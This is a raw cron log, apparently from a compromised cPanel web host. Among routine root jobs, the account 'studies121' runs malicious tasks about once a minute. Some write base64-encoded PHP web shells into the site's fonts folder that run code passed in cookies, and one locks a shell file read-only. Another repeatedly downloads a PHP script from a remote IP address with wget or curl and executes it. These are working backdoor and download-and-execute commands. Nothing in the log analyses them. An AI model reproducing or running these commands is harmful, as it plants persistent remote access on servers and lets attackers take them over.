Feb 22 17:19:01 ip-184-168-122-23 CROND[14375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:19:01 ip-184-168-122-23 CROND[14377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:20:01 ip-184-168-122-23 CROND[14712]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:20:01 ip-184-168-122-23 CROND[14714]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 17:20:01 ip-184-168-122-23 CROND[14716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:20:01 ip-184-168-122-23 CROND[14717]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 17:20:01 ip-184-168-122-23 CROND[14718]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 17:20:01 ip-184-168-122-23 CROND[14719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:20:01 ip-184-168-122-23 CROND[14721]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:20:01 ip-184-168-122-23 CROND[14720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:20:01 ip-184-168-122-23 CROND[14722]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 17:21:01 ip-184-168-122-23 CROND[15084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:21:01 ip-184-168-122-23 CROND[15087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:21:01 ip-184-168-122-23 CROND[15088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:21:01 ip-184-168-122-23 CROND[15086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:22:01 ip-184-168-122-23 CROND[15490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:22:01 ip-184-168-122-23 CROND[15492]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:22:01 ip-184-168-122-23 CROND[15494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:22:01 ip-184-168-122-23 CROND[15493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:22:01 ip-184-168-122-23 CROND[15495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:23:01 ip-184-168-122-23 CROND[15815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:23:01 ip-184-168-122-23 CROND[15814]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:23:01 ip-184-168-122-23 CROND[15816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:23:01 ip-184-168-122-23 CROND[15820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:24:01 ip-184-168-122-23 CROND[16174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:24:01 ip-184-168-122-23 CROND[16175]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:24:01 ip-184-168-122-23 CROND[16173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:24:01 ip-184-168-122-23 CROND[16180]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:24:01 ip-184-168-122-23 CROND[16181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:25:01 ip-184-168-122-23 CROND[16494]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 17:25:01 ip-184-168-122-23 CROND[16495]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:25:01 ip-184-168-122-23 CROND[16496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:25:01 ip-184-168-122-23 CROND[16499]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 17:25:01 ip-184-168-122-23 CROND[16500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:25:01 ip-184-168-122-23 CROND[16498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:26:01 ip-184-168-122-23 CROND[16839]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:26:01 ip-184-168-122-23 CROND[16842]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:26:01 ip-184-168-122-23 CROND[16845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:26:01 ip-184-168-122-23 CROND[16843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:26:01 ip-184-168-122-23 CROND[16844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:27:01 ip-184-168-122-23 CROND[17256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:27:01 ip-184-168-122-23 CROND[17260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:27:01 ip-184-168-122-23 CROND[17258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:27:01 ip-184-168-122-23 CROND[17259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:28:01 ip-184-168-122-23 CROND[17587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:28:01 ip-184-168-122-23 CROND[17589]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:28:01 ip-184-168-122-23 CROND[17591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:28:01 ip-184-168-122-23 CROND[17590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:28:01 ip-184-168-122-23 CROND[17592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:29:01 ip-184-168-122-23 CROND[17905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:29:01 ip-184-168-122-23 CROND[17906]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:29:01 ip-184-168-122-23 CROND[17908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:29:01 ip-184-168-122-23 CROND[17909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:30:01 ip-184-168-122-23 CROND[18243]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 17:30:01 ip-184-168-122-23 CROND[18245]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:30:01 ip-184-168-122-23 CROND[18246]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 17:30:01 ip-184-168-122-23 CROND[18248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:30:01 ip-184-168-122-23 CROND[18247]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 17:30:01 ip-184-168-122-23 CROND[18249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:30:01 ip-184-168-122-23 CROND[18251]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:30:01 ip-184-168-122-23 CROND[18256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:31:01 ip-184-168-122-23 CROND[18610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:31:01 ip-184-168-122-23 CROND[18611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
